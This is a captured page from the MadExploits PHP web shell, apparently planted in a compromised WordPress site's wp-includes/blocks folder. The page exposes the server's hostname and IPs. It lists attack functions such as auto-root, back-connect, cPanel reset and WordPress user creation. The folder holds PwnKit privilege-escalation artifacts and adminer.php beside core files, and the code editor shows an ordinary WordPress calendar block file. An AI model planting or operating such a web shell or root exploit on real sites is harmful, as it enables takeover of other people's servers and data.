Linux webm004.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.106.20.4 | : 216.73.216.104
Cant Read [ /etc/named.conf ]
7.4.33
alinaousgg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
alinaousgg /
vmd /
wp-includes /
blocks /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
archives
[ DIR ]
drwx---r-x
audio
[ DIR ]
drwx---r-x
avatar
[ DIR ]
drwx---r-x
block
[ DIR ]
drwx---r-x
button
[ DIR ]
drwx---r-x
buttons
[ DIR ]
drwx---r-x
calendar
[ DIR ]
drwx---r-x
categories
[ DIR ]
drwx---r-x
code
[ DIR ]
drwx---r-x
column
[ DIR ]
drwx---r-x
columns
[ DIR ]
drwx---r-x
comment-author-name
[ DIR ]
drwx---r-x
comment-content
[ DIR ]
drwx---r-x
comment-date
[ DIR ]
drwx---r-x
comment-edit-link
[ DIR ]
drwx---r-x
comment-reply-link
[ DIR ]
drwx---r-x
comment-template
[ DIR ]
drwx---r-x
comments-pagination
[ DIR ]
drwx---r-x
comments-pagination-next
[ DIR ]
drwx---r-x
comments-pagination-numbers
[ DIR ]
drwx---r-x
comments-pagination-previous
[ DIR ]
drwx---r-x
comments-query-loop
[ DIR ]
drwx---r-x
comments-title
[ DIR ]
drwx---r-x
cover
[ DIR ]
drwx---r-x
embed
[ DIR ]
drwx---r-x
file
[ DIR ]
drwx---r-x
freeform
[ DIR ]
drwx---r-x
gallery
[ DIR ]
drwx---r-x
group
[ DIR ]
drwx---r-x
heading
[ DIR ]
drwx---r-x
home-link
[ DIR ]
drwx---r-x
html
[ DIR ]
drwx---r-x
image
[ DIR ]
drwx---r-x
latest-comments
[ DIR ]
drwx---r-x
latest-posts
[ DIR ]
drwx---r-x
legacy-widget
[ DIR ]
drwx---r-x
list
[ DIR ]
drwx---r-x
loginout
[ DIR ]
drwx---r-x
media-text
[ DIR ]
drwx---r-x
missing
[ DIR ]
drwx---r-x
more
[ DIR ]
drwx---r-x
navigation
[ DIR ]
drwx---r-x
navigation-link
[ DIR ]
drwx---r-x
navigation-submenu
[ DIR ]
drwx---r-x
nextpage
[ DIR ]
drwx---r-x
page-list
[ DIR ]
drwx---r-x
paragraph
[ DIR ]
drwx---r-x
pattern
[ DIR ]
drwx---r-x
post-author
[ DIR ]
drwx---r-x
post-author-biography
[ DIR ]
drwx---r-x
post-comments
[ DIR ]
drwx---r-x
post-comments-form
[ DIR ]
drwx---r-x
post-content
[ DIR ]
drwx---r-x
post-date
[ DIR ]
drwx---r-x
post-excerpt
[ DIR ]
drwx---r-x
post-featured-image
[ DIR ]
drwx---r-x
post-navigation-link
[ DIR ]
drwx---r-x
post-template
[ DIR ]
drwx---r-x
post-terms
[ DIR ]
drwx---r-x
post-title
[ DIR ]
drwx---r-x
preformatted
[ DIR ]
drwx---r-x
pullquote
[ DIR ]
drwx---r-x
query
[ DIR ]
drwx---r-x
query-no-results
[ DIR ]
drwx---r-x
query-pagination
[ DIR ]
drwx---r-x
query-pagination-next
[ DIR ]
drwx---r-x
query-pagination-numbers
[ DIR ]
drwx---r-x
query-pagination-previous
[ DIR ]
drwx---r-x
query-title
[ DIR ]
drwx---r-x
quote
[ DIR ]
drwx---r-x
read-more
[ DIR ]
drwx---r-x
rss
[ DIR ]
drwx---r-x
search
[ DIR ]
drwx---r-x
separator
[ DIR ]
drwx---r-x
shortcode
[ DIR ]
drwx---r-x
site-logo
[ DIR ]
drwx---r-x
site-tagline
[ DIR ]
drwx---r-x
site-title
[ DIR ]
drwx---r-x
social-link
[ DIR ]
drwx---r-x
social-links
[ DIR ]
drwx---r-x
spacer
[ DIR ]
drwx---r-x
table
[ DIR ]
drwx---r-x
tag-cloud
[ DIR ]
drwx---r-x
template-part
[ DIR ]
drwx---r-x
term-description
[ DIR ]
drwx---r-x
text-columns
[ DIR ]
drwx---r-x
verse
[ DIR ]
drwx---r-x
video
[ DIR ]
drwx---r-x
widget-group
[ DIR ]
drwx---r-x
.mad-root
0
B
-rw-r--r--
adminer.php
465.43
KB
-rw-r--r--
archives.php
2.85
KB
-rw----r--
avatar.php
5.27
KB
-rw----r--
block.php
1.63
KB
-rw----r--
calendar.php
4.57
KB
-rw----r--
categories.php
2.72
KB
-rw----r--
comment-author-name.php
1.89
KB
-rw----r--
comment-content.php
2.23
KB
-rw----r--
comment-date.php
1.47
KB
-rw----r--
comment-edit-link.php
1.5
KB
-rw----r--
comment-reply-link.php
1.86
KB
-rw----r--
comment-template.php
3.26
KB
-rw----r--
comments-pagination-next.php
1.8
KB
-rw----r--
comments-pagination-numbers.ph...
1.56
KB
-rw----r--
comments-pagination-previous.p...
1.6
KB
-rw----r--
comments-pagination.php
967
B
-rw----r--
comments-title.php
2.67
KB
-rw----r--
cover.php
2.18
KB
-rw----r--
file.php
899
B
-rw----r--
gallery.php
3.69
KB
-rw----r--
home-link.php
4.97
KB
-rw----r--
image.php
1.27
KB
-rw----r--
index.php
4.19
KB
-rw----r--
latest-comments.php
4.88
KB
-rw----r--
latest-posts.php
7.28
KB
-rw----r--
legacy-widget.php
3.79
KB
-rw----r--
loginout.php
1.35
KB
-rw----r--
navigation-link.php
10.96
KB
-rw----r--
navigation-submenu.php
9.53
KB
-rw----r--
navigation.php
25.22
KB
-rw----r--
page-list.php
12.83
KB
-rw----r--
pattern.php
921
B
-rw----r--
post-author-biography.php
1.41
KB
-rw----r--
post-author.php
2.05
KB
-rw----r--
post-comments-form.php
2.5
KB
-rw----r--
post-comments.php
2.43
KB
-rw----r--
post-content.php
2.34
KB
-rw----r--
post-date.php
1.51
KB
-rw----r--
post-excerpt.php
2.43
KB
-rw----r--
post-featured-image.php
2.12
KB
-rw----r--
post-navigation-link.php
3.51
KB
-rw----r--
post-template.php
3.94
KB
-rw-r--r--
post-terms.php
1.61
KB
-rw----r--
post-title.php
1.62
KB
-rw----r--
pwnkit
10.99
KB
-rwxr-xr-x
query-no-results.php
1.58
KB
-rw-r--r--
query-pagination-next.php
2.66
KB
-rw----r--
query-pagination-numbers.php
3.73
KB
-rw----r--
query-pagination-previous.php
2.12
KB
-rw----r--
query-pagination.php
1023
B
-rw----r--
query-title.php
1.35
KB
-rw----r--
query.php
304
B
-rw----r--
read-more.php
1.31
KB
-rw----r--
rss.php
3.81
KB
-rw----r--
search.php
12.73
KB
-rw----r--
shortcode.php
697
B
-rw----r--
site-logo.php
5.67
KB
-rw----r--
site-tagline.php
994
B
-rw----r--
site-title.php
1.68
KB
-rw----r--
social-link.php
57.56
KB
-rw----r--
tag-cloud.php
1.6
KB
-rw----r--
template-part.php
7.13
KB
-rw----r--
term-description.php
1.14
KB
-rw----r--
widget-group.php
2.1
KB
-rw----r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : calendar.php
<?php /** * Server-side rendering of the `core/calendar` block. * * @package WordPress */ /** * Renders the `core/calendar` block on server. * * @param array $attributes The block attributes. * * @return string Returns the block content. */ function render_block_core_calendar( $attributes ) { global $monthnum, $year; // Calendar shouldn't be rendered // when there are no published posts on the site. if ( ! block_core_calendar_has_published_posts() ) { if ( is_user_logged_in() ) { return '<div>' . __( 'The calendar block is hidden because there are no published posts.' ) . '</div>'; } return ''; } $previous_monthnum = $monthnum; $previous_year = $year; if ( isset( $attributes['month'] ) && isset( $attributes['year'] ) ) { $permalink_structure = get_option( 'permalink_structure' ); if ( strpos( $permalink_structure, '%monthnum%' ) !== false && strpos( $permalink_structure, '%year%' ) !== false ) { // phpcs:ignore WordPress.WP.GlobalVariablesOverride.OverrideProhibited $monthnum = $attributes['month']; // phpcs:ignore WordPress.WP.GlobalVariablesOverride.OverrideProhibited $year = $attributes['year']; } } $wrapper_attributes = get_block_wrapper_attributes(); $output = sprintf( '<div %1$s>%2$s</div>', $wrapper_attributes, get_calendar( true, false ) ); // phpcs:ignore WordPress.WP.GlobalVariablesOverride.OverrideProhibited $monthnum = $previous_monthnum; // phpcs:ignore WordPress.WP.GlobalVariablesOverride.OverrideProhibited $year = $previous_year; return $output; } /** * Registers the `core/calendar` block on server. */ function register_block_core_calendar() { register_block_type_from_metadata( __DIR__ . '/calendar', array( 'render_callback' => 'render_block_core_calendar', ) ); } add_action( 'init', 'register_block_core_calendar' ); /** * Returns whether or not there are any published posts. * * Used to hide the calendar block when there are no published posts. * This compensates for a known Core bug: https://core.trac.wordpress.org/ticket/12016 * * @return bool Has any published posts or not. */ function block_core_calendar_has_published_posts() { // Multisite already has an option that stores the count of the published posts. // Let's use that for multisites. if ( is_multisite() ) { return 0 < (int) get_option( 'post_count' ); } // On single sites we try our own cached option first. $has_published_posts = get_option( 'wp_calendar_block_has_published_posts', null ); if ( null !== $has_published_posts ) { return (bool) $has_published_posts; } // No cache hit, let's update the cache and return the cached value. return block_core_calendar_update_has_published_posts(); } /** * Queries the database for any published post and saves * a flag whether any published post exists or not. * * @return bool Has any published posts or not. */ function block_core_calendar_update_has_published_posts() { global $wpdb; $has_published_posts = (bool) $wpdb->get_var( "SELECT 1 as test FROM {$wpdb->posts} WHERE post_type = 'post' AND post_status = 'publish' LIMIT 1" ); update_option( 'wp_calendar_block_has_published_posts', $has_published_posts ); return $has_published_posts; } // We only want to register these functions and actions when // we are on single sites. On multi sites we use `post_count` option. if ( ! is_multisite() ) { /** * Handler for updating the has published posts flag when a post is deleted. * * @param int $post_id Deleted post ID. */ function block_core_calendar_update_has_published_post_on_delete( $post_id ) { $post = get_post( $post_id ); if ( ! $post || 'publish' !== $post->post_status || 'post' !== $post->post_type ) { return; } block_core_calendar_update_has_published_posts(); } /** * Handler for updating the has published posts flag when a post status changes. * * @param string $new_status The status the post is changing to. * @param string $old_status The status the post is changing from. * @param WP_Post $post Post object. */ function block_core_calendar_update_has_published_post_on_transition_post_status( $new_status, $old_status, $post ) { if ( $new_status === $old_status ) { return; } if ( 'post' !== get_post_type( $post ) ) { return; } if ( 'publish' !== $new_status && 'publish' !== $old_status ) { return; } block_core_calendar_update_has_published_posts(); } add_action( 'delete_post', 'block_core_calendar_update_has_published_post_on_delete' ); add_action( 'transition_post_status', 'block_core_calendar_update_has_published_post_on_transition_post_status', 10, 3 ); }
Close